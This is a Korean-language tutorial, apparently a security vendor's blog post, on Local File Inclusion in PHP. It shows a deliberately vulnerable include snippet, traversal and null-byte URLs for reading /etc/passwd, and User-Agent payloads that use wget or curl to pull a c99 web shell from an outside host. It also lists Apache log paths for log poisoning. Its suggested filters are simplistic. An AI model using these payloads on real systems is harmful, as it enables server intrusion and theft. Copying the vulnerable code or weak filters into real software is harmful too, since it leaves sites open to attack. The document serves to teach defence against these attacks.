개요

LFI(Local File Inclusion) 취약점은 웹 브라우저를 통해 서버에 파일을 포함시키는 과정입니다.
이 취약점은 인클루드할 페이지 경로가 적절히 필터링되지 않았고 디렉토리 변경 명령어들의 삽입을 허용했을 때 일어납니다.
대부분의 LFI 취약점은 URL을 통해 이뤄지는데 이는 보통 개발자가 GET Method 사용을 선호하기 때문입니다.

 

공격

아래 PHP 코드는 간단하고 전형적인 LFI 의 예입니다.

◆ [PHP 코드]
<?php
$file = $_GET[‘file’];
if(isset($file)) {
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>

 

◆ [URL 공격]
[/proc/self/environ]
http://www.plura.io/index.php?pages=contaotus.php
이러한 URL 은 이 페이지 밖에 있는 파일에 관심이 있는 잠재적 공격자에게로부터 꽤나 치명적이라고 할 수 있습니다.
이 페이지 밖의 패스워드 파일과 같은 파일을 읽기 위해서 공격자는 LFI 를 이용할수 있습니다.

http://www.plura.io/index.php?pages=/etc/passwd
유닉스 시스템 계열에서는 보안에 큰 영향을 미치는 여러 중요한 디렉토리들이 있는데 그 중에 하나가 서버의 모든 패스워드 해쉬를 담고 있는 /etc/passwd 입니다.
공격자는 위 URL 처럼 /etc/passwd 를 읽어올 수 있습니다.

http://www.plura.io/index.php?pages=../../../../etc/passwd
../를 여러번 붙여 주는 이유는 /etc/passwd 디렉토리의 상위디렉토리 존재 가능성 때문입니다.
위 URL 처럼 시도하면 /etc/passwd 를 읽어올 수 있겠지만 조건에 따라 여전히 안 읽어질 수도 있습니다.

http://www.plura.io/index.php?pages=../../../../etc/passwd%00
/etc/passwd 뒤에 %00은 널바이트로써 /etc/passwd 뒤에 붙는 쓸데없는 값들을 널바이트로 날려버립니다.

http://www.plura.io/index.php?pages=../../../../proc/self/environ%00
쉘을 올리기 위해 접근이 가능한지 확인해 볼 것입니다.
위 공격이 성공했다면 DOCUMENT_ROOT= … (http header) 결과값이 보일 것입니다.

쉘을 올리기 위한 마지막 단계로 프록시 툴을 사용하여 User Agent 필드에 PHP 코드를 삽입합니다.
User Agent 필드에 다음과 같이 쉘을 올려 주면 됩니다.
<?system(‘wget http://www.sh3ll.org/c99.txt -O shell.php’);?>
<?system(‘curl -o shell.php http://www.sh3ll.org/c99.txt’);?>

◆ [Log files]
공격자가 아파치 서버를 공격한다면 기본적으로 존재하는 access_log, error_log 파일을 통해 공격할 것입니다.

◆ [로그 경로]
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
– – – – – – – – – – – – – – – – – – – – –
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

access_log 에는 /proc/self/environ 에서 봤던 것과 비슷한 User-Agent 부분이 존재하기 때문에 같은 방식대로 User-Agent 를 변조해줘서 원하는 명령어를 실행시키거나 쉘을 올릴 수 있습니다.

 

대응방안

◆ 입력 값 치환
../ 와 같은 문자가 전달됐을 경우 다른 문자로 치환해야 합니다.

◆ 문자필터링 PHP
str_replace(“.”,””, $path);
str_replace(“/”,””, $filename);

◆ 보안 중요 디렉토리 필터링
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

◆ PLURA LFI 필터 사용
PLURA LFI 필터를 사용 등록하시면 LFI 공격이 발생할 때 해당 공격자의 IP를 신속히 차단하게 됩니다.
필터 등록은 아래의 순서로 진행하시면 됩니다.
www.plura.io > login > 실시간방어 > 방어관리 > 방어등록 > 웹로그방어 > 방어상태 > ON(활성화)